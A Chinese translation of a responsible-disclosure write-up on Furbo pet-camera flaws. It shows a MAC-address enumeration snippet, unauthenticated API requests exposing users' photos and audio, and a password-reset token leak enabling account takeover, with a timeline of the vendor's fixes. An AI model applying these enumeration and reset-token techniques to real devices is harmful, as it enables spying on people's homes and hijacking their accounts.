Furbo 宠物智能喂食器可导致用户被窥视的漏洞分析

阅读量    38213 |   稿费 180

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

TL;DR

缺乏足够的访问控制和授权,API中使用可预测的设备ID,以及密码重置机制的缺陷,都可能使Furbo所有用户的视频家庭私密照片语音消息被攻击者访问,攻击者甚至可以把食物扔给用户的宠物

 

背景

在即将播出的一集McAfee的Hackable podcast中,我拿到了一台Furbo(一种狗食投掷装置)用于安全评估。FURBO是一款狗用的拥有相机功能,可以通过你的手机按一下按钮就能把食物扔出去的机器,是在工作或度假时看狗的好方法。

目前,Furbo是亚马逊上最畅销的狗摄像头,售价在250美元到300美元之间。

Furbo曾多次出现在媒体上,比如“纽约时报”、“技术快报”和最近的“艾伦脱口秀”,他们在节目中向观众赠送Furbo作为圣诞礼物。

艾伦脱口秀上的Furbo:https://youtu.be/nqug-3O8hC4

 

Furbo的特点

Furbo配备了高清摄像头,夜视功能,双向音频(你可以和你的狗说话,听到它的吠声)AI智能狗识别技术,以及一个应用程序,让你与设备互动。以下是其中一些特点:

 

Furbo的高级特征:Smart Dog Alerts

Furbo有一个叫做“Smart Dog Alerts
”的高级功能,每当AI发现你的狗有异常活动或希望得到关注时,它会发送通知到你的电话。这个功能在默认情况下是打开的。

一旦发生了一些活动,Furbo将弹出一个带有触发器描述的通知:

 

这背后发生了什么

Furbo通过蓝牙进行设备的初始设置,并使用实时流媒体协议(RTSP)-RFC2326传输视频流。通过RTSPS将视频流发送到不同区域的多个IP地址,每一张由SmartDog Alerts功能拍摄的照片都被上传到Amazon S3中。

Furbo的移动应用程序从他们的云服务下载你的照片,一旦你浏览到主页,它们就会被填充到Furbo日常的“时间线”中,就是当天发生的所有事件。

 

远程攻击的Furbo

访问你所有的照片

问题在于移动应用程序执行的API调用之一,即在打开App时接收当天的事件。

事件是由设备拍摄的照片/瞬间,这些照片/瞬间后面会被归类为“人”、“狗自拍”和“狗活动”。

时间线由使用值为当前日期的LocalTime参数的POST请求发送。然后,该响应将包含3个不同的键:PersonDetected DogMoveAbove10secs和Selfie,如果日期有效并且照片是当天拍摄的,这些最终将是客户的照片。

这个API在请求中需要一个有效的MAC地址,但是没有会话令牌或任何类似的东西。获得有效的MAC地址并不困难,因为相机是由台湾的一家名为Chicony Electronics的制造商生产的,而且它们的地址是以B0:c0:90为前缀的。

通过生成MAC地址字典,并且考虑到MAC是一个注册设备,响应将包括在localtime参数中指定的当天的Amazon S3的图像链接。

以下代码可用于生成随机MAC地址:

>>> for _ in range(200): print "%s:%02x:%02x:%02x" %('B0:C0:90', random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))
... 
B0:C0:90:74:c5:d6
B0:C0:90:02:64:85
B0:C0:90:ab:3e:a4
B0:C0:90:00:1c:5f
B0:C0:90:bf:fc:e3
B0:C0:90:94:d7:8a
B0:C0:90:5c:b3:86
B0:C0:90:b0:57:c7
B0:C0:90:ca:37:b0

攻击请求示例:

POST /endpoint HTTP/1.1
Cache-Control: no-cache
Content-Type: application/json
User-Agent: FurboApp/3.1.1 (Linux; U; Android 6.0.1; en; samsung/SM-J120W) ROM/0.1.0.0 (samsung; 32011752d4df54a1)
Authorization: Basic 
Content-Length: 942
Host: hostname
Connection: close

{"LocalTime":"2018-03-08 00:27:17"}

响应示例:

{
  "EventTypes": [
    {
      "Count": 70, 
      "Type": "DogMoveAbove10Sec"
    }, 
    {
      "Count": 5, 
      "Type": "PersonDetection"
    }, 
    {
      "Count": 1, 
      "Type": "Selfie"
    }
  ], 
  "Events": [
    {
      "LocalTime": "2018-03-02 23:22:41", 
      "OriginImg": "https://redacted.s3.amazonaws.com/*******************?AWSAccessKeyId=*********&x-amz-security-token=**********", 
      "Thumbnail": "https://redacted.s3.amazonaws.com/*******************?AWSAccessKeyId=*********&x-amz-security-token=**********", 
      "Type": "DogMoveAbove10Sec"
    }, 
    {
      "LocalTime": "2018-03-02 23:20:19", 
      "OriginImg": "https://redacted.s3.amazonaws.com/*******************?AWSAccessKeyId=*********&x-amz-security-token=**********", 
      "Thumbnail": "https://redacted.s3.amazonaws.com/*******************?AWSAccessKeyId=*********&x-amz-security-token=**********", 
      "Type": "DogMoveAbove10Sec"
    }, 
    {
     "LocalTime": "2018-03-02 21:34:10", 
      "OriginImg": "https://redacted.amazonaws.com/*******************?AWSAccessKeyId=*********&x-amz-security-token=**********", 
      "Thumbnail": "https://redacted.amazonaws.com/*******************?AWSAccessKeyId=*********&x-amz-security-token=**********", 
      "Type": "PersonDetection"
    }, 
    ]
}

虽然默认情况下启用了Smart Dog Alerts,但是应用程序让你通过设置页面自定义要捕获的智能警报。

可以使用这个API调用来获得设备的设置,而不是枚举设备。其中包括设置,如是否启用了“Smart Dog Alerts”功能。这将允许更加快速的攻击,但只针对启用了易受攻击组件的设备。

获取设备设置的API调用示例:

GET /endpoint HTTP/1.1
Host: hostname
Connection: close
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)


HTTP/1.1 200 OK
Date: Wed, 07 Mar 2018 17:46:29 GMT
Content-Type: application/json
Content-Length: 76
Connection: close
Server: Apache/2.4.18 (Ubuntu)

{
  "DogMoveAbove10Sec": "1", 
  "PersonDetection": "1", 
  "Selfie": "1"
}

1表示已启用,0表示已禁用。

 

收集要攻击的设备

使用目前为止我们所知道的,并且使用这个逻辑,可以保证在多线程的情况下几分钟内获得数百个客户的数据。

 

最可怕的是

这时候,我开始寻找与谁联系来报告这个问题。

 

获取你所有的录音

FURBO的旗舰特色:抛投

Furbo的真正价值在于其投掷的特征,这其实是相当巧妙的。

在产品的正中间,有一个小洞和一个机制,一旦你使用应用程序的投掷功能它会从容器重新装载食物然后投掷。我有猫,所以这里有一个视频,看它如何与猫互动的:

视频:https://lethalbit.com/furbo/images/tossing.mp4

但是狗怎么知道你什么时候要扔食物呢?问得好!Snack!

Snack

Snack是一种声音,在你滑动投掷食物时播放。让我们来记录一条6秒的消息,或者使用默认的内置声音。

该特性与视频缺陷相同,使用API上传音频,然后提供直接的S3链接。与视频没有什么不同,它只使用基本的auth,这可能导致允许攻击者访问用户的音频文件。

音频:https://lethalbit.com/furbo/images/treat_toss.wav

我没有足够的时间来进一步探讨这个功能,因为我披露后供应商快速反应,取消了服务。但是,上传文件时调用的音频HTTP PUT请求可能也是易受攻击的。

从理论上讲,我可以把我自己的声音文件上传到用户的Furbo。

 

全天候跟踪你

完全接管帐户

我看了一下如何重新设置帐户密码。

在“密码重置”页上,当你重置帐户的密码时,它会调用发送电子邮件API。然后,响应就是一个令牌。我把它记下来以备后用。

密码重置请求:

POST /send-email HTTP/1.1
Host: host
Connection: close
Content-Length: 47
Accept: application/json, text/javascript, */*; q=0.01
Origin: hostname
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; SM-J120W Build/MMB29K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.137 Mobile Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate
Accept-Language: en-CA,en-GB;q=0.9,en-US;q=0.8,en;q=0.7

{"Email":"someuser@someemail.com","Locale":"en-US"}

密码重置响应:

HTTP/1.1 200 OK
Date: Sat, 10 Mar 2018 13:33:58 GMT
Content-Type: application/json
Content-Length: 69
Connection: close
Server: Werkzeug/0.12.2 Python/3.5.2

{"Message":"IkhQTFRaU[redacted]VjIEly2XUWdVMAh8"}

不出所料,我收到了一封电子邮件,里面有一个链接,可以重新设置我的密码。我看到了以下内容:

接着,我点击了链接,突然发现地址栏里有一些看起来很熟悉的东西。

地址栏中的令牌与我之前记下的令牌相同!这意味着我可以重新设置任何Furbo的帐户密码,而不需要访问受害者的电子邮件帐户!

到目前为止,我们只能访问静态照片和音频记录。但这允许我以其他人的身份登录。这使我可以执行以下任何一项操作:

  • 观看你的生活
  • 听到你说话
  • 跟你说话
  • 查看你的历史照片数据
  • 扔食物给你的宠物

FURBO设备接管DEMO:
https://lethalbit.com/furbo/images/full_account_takeover.mp4

 

联系Furbo

  • 2018年3月2日-我寻找联系Furbo的方法。在多个平台上给他们发短信后,他们的客户支持经理联系了我寻求更多细节。随后,Furbo技术小组着手调查该报告。
  • 2018年3月2日-我被告知已经推送修复,但显然,它没有解决我报告的问题。
  • 2018年3月4日-Furbo打电话给我,要求提供漏洞证明。他们寄给我一个他们的设备的MAC地址,让我告诉他们那里有哪些照片。结果是:
  • 2018年3月4日-Furbo公司暂停该功能。API调用已经修复。
  • 2018年3月7日-我联系了Furbo,让他们知道Snack呼叫功能中的语音记录漏洞。
  • 2018年3月7日-Furbo更新说,他们将暂停Snack Call功能,直到新版本发布。
  • 2018年3月9日-发布了一个新的应用程序版本,它修复了视频和语音记录API中的漏洞。
  • 2018年3月12日-我联系了Furbo,让他们知道账户的接管情况。他们给了我一个电子邮件账户,我证明了报告的有效性。以下是一张在Furbo总部办公室拍摄的照片:![]
  • 2018年3月12日-我们接到电话,证实问题似乎已经解决。此时所有提到的漏洞都得到了解决。
  • 2018年3月15日-我联系了Furbo,发现了另一个漏洞
  • 2018年3月20日-Furbo通报说,将在下一次固件升级中推出一个补丁。
  • 2018年3月20日-奖励:Pet food basket(我谢绝了)。
  • 2018年6月16日-公开发行

 

注意

Furbo团队非常迅速地处理报告和修复缺陷。根据我的建议,他们决定取消服务以防止更多的潜在风险,考虑到目前的情况,这是正确的做法。

 

联系方式

如有任何问题,请通过电子邮件 d.farhi#lethalbit.com 或twitter与我联系

 

审核人:yiwang   编辑:边边

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多